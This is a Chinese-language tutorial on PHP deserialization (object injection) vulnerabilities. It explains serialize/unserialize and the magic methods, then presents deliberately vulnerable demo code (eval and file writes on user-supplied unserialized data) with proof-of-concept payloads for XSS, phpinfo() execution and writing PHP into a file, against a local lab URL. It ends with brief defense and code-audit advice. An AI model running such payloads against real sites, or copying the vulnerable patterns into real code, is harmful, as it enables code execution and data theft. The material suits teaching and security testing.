什么是序列化和反序列化
序列化就是将变量或对象转换为字符串的过程。
反序列化就是将字符串转化为对象的过程。
serialize()将一个对象转换成字符串
unserialize()将一个字符串转换成对象
通俗的说就是是把一个对象变为可以传输的字符串,而反序列化就是把字符还原为对象。
为什么要序列化和反序列化? 意义
方便传输和存储数据。
php序列化方式
举例
<?php
class test
{
public $a = 'test';
}
$S = new test;
print_r(serialize($S));
?>
O:4:"test":1:{s:1:"a";s:4:"test";}
输出结果 O:4:"test":1:{s:1:"a";s:4:"test";}
O表示类(object) 4表示类名长度 test是类名 1代表类中有一个属性 s字符串 1属性名长度为 1位
a是属性名 test 是属性的值
序列化字段含义
a – array 数组
b – boolean 布尔型
d – double 双精度型
i – integer 整型
o – common object 一般对象
s – string 字符串
C – custom object 自定义对象
O – class N – null 表示类
U – unicode string unicode编码的字符串
php反序列化
<?php
class chybeta{
var $test = '123';
}
$class2 = 'O:7:"chybeta":1:{s:4:"test";s:3:"123";}';
$class2_unser = unserialize($class2);
print_r($class2_unser);
?>
在这里解释下 eval的意思 是 将后面跟的内容当成php命令执行出来
@ 意思是阻止出现警告
php反序列化漏洞
漏洞简述
反序列化又叫对象注入,序列化和反序列化本身没有问题,漏洞产生是因为程序在处理对象、魔术函数 以及序列化相关的问题导致的。当传给 unserialize()的参数可控时,那么用户就可以传入精心构造的 payload。当进行反序列化的时候就有可能会触发对象中的一些魔术方法,造成意想不到的危害。
原理简述:序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的 使用了PHP中的 魔法函数 ,就会导致安全问题.
举例
反序列化漏洞就是因为在反序列化转换的过程中,触发代码执行,从而造成漏洞,关键点还是在于可控 或不可控、有无危险函数。
1. 代码分析:
反序列化的内容是从用户前端传过来的,若从前端传来的内容中插入了恶意的反序列化的内容,后台会 对内容进行反序列化,则通过反序列化的接口造成XSS漏洞。
<?php
class S{
var $test = "pikachu";
function __destruct(){
echo $this->test; //一旦S这个类被创建,则将会自动使用魔法函数。当对象被销
时,则下面的操作会被自动执行}
}
}
$s = $_GET['string'];
@$unser = unserialize($s);
?>
2. 生成Payload
<?php
class S{
var $test = "<script>alert('xss')</script>";
function __destruct(){
echo $this->test;
}
}
$s = new S;
@$unser = serialize($s);
?>
结果: O:1:"A":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
1. S类中存在危险函数
2. 反序列化的值,是用户可控的。
3. 用户构造反序列化的值,将类中属性test值进行替换
4. 用户传入
5. 程序处理,反序列操作,覆盖掉原有的test=pikachu的值为js代码
6. 当对象被销毁时,触发魔术方法,执行echo操作,造成XSS
3. 执行结果
但是如果 $_GET['string'] 为可控的,那么,输入序列化后的 payload 会被反序列化后echo执行;
http://127.0.0.1/NEW/PHP_unserialize/demo.php?string=O:1:%22S%22:1:
{s:4:%22test%22;s:29:%22%3Cscript%3Ealert(%27xss%27)%3C/script%3E%22;}
魔法函数
__construct() 当一个对象创建时被调用(构造函数,当对象创建(new)时会自动调用。)
__destruct() 当一个对象销毁前被调用 ;
__sleep() 在对象被序列化前被调用
__wakeup 将在反序列化之后立即被调用(当使用unserialize()进行反序列化时,就会被调用
unserialize()时会检查是否存在__wakeup如果存在则会优先调用 __wakeup()方法 );
__toString 当一个对象被当做字符串使用时被调用 ;
__get(),__set() 当调用或设置一个类及其父类方法中未定义的属性时 ;
__invoke() 调用函数的方式调用一个对象时的回应方法 ;
__call 和 __callStatic 前者是调用类不存在的方法时执行,而后者是调用类不存在的静态方式方法时执
行。
展示
<?php
class Test{
public function __construct(){
echo 'construct run';
}
public function __destruct(){
echo 'destruct run';
}
public function __toString(){
echo 'toString run';
return 'toString';
}
public function __sleep(){
echo 'sleep run';
return array();
}
public function __wakeup(){
echo 'wakeup run';
}
}
echo 'new了一个对象,对象被创建,执行__construct:</br>';
$test= new Test();
echo '<hr>';
echo'</br>serialize了一个对象,对象被序列化,先执行__sleep,再序列化:</br>';
$sTest= serialize($test);
echo '<hr>';
echo'</br>unserialize了一个序列化字符串,对象被反序列化,先反序列化,再执行__wakeup:
</br>';
$usTest= unserialize($sTest);
echo '<hr>';
echo'</br>把Test这个对象当做字符串使用了,执行__toString:</br>';
$string= 'hello class '. $test;
echo '<hr>';
echo'</br>程序运行完毕,对象自动销毁,执行__destruct.</br>';
?>
__wakeup漏洞演示
反序列化漏洞__wakeup魔法函数漏洞演示
wakeup 将在反序列化之后立即被调用(当使用unserialize()进行反序列化时,就会被调用,
unserialize()时会检查是否存在 wakeup(),如果存在,则会优先调用 __wakeup()方法);
漏洞代码
<?php
class A {
var $test = "demo";
function __wakeup() {
eval($this->test);
}
}
$a = $_GET['test'];
$a_unser = unserialize($a);
?>
二、通过以上代码构造Payload,执行phpinfo
O:1:"A":1:{s:4:"test";s:10:"phpinfo();";}
解释
传入的参数被反序列化,导致魔术方法__wakeup被自动调用,这时参数传入的值将被作为eval的参数使用,所以这里会因反序列化导致任意代码执行。
_wapkeup文件操作
1.漏洞代码
<?php
include "test.php";//测试方便
class A {
var $test = '123';
function __wakeup() {
$fp = fopen("test.php", "w");
fwrite($fp, $this->test);
fclose($fp);
}
}
$class1 = $_GET['test'];
$class1_unser = unserialize($class1);
?>
二、通过以上代码构造Payload写入phpinfo();
O:1:"A":1:{s:4:"test";s:18:"<?php phpinfo();?>";}
解释:和上面一样,当传入的参数被反序列化时,魔术方法 __wakeup被调用,传入的参数会作为fwrite 的第二个参数直接写入test.php文件中,从而导致反序列化漏洞
__construct漏洞演示
__construct() 当一个对象创建时被调用(构造函数,当对象创建(new)时会自动调用。 unserialize()反序 列化时是不会自动调用的。);
代码
<?php
include 'test.php';
class b {
function __construct($test) {
$fp = fopen("test.php", 'w');
fwrite($fp, $test);
fclose($fp);
}
}
class a {
var $test = 123;
function __wakeup() {
$obj = new b($this->test);
}
}
$class = $_GET['string'];
$class_u = unserialize($class);
?>
二、通过以上代码构造Payload执行phpinfo();
class a {
$test = <?php phpinof();?>
}
O:1:"a":1:{s:4:"test";s:18:"<?php phpinfo();?>";}
防御
和大多数漏洞一样,反序列化的问题也是用户参数的控制问题引起的,所以好的预防措施就是不要把用户的输入或者是用户可控的参数直接放进反序列化的操作中去。
挖掘
代码审计
1. 可控参数
2. 后端接收参数后进行反序列化操作
3. 类中存在__wakeup魔术方法,并且有危险操作
挖掘反序列化漏洞的条件是:
1. 代码中有可利用的类,并且类中有wakeup(),sleep(),__destruct()这类特殊条件下可以自己调用 的魔术方法。
2. unserialize()函数的参数可控。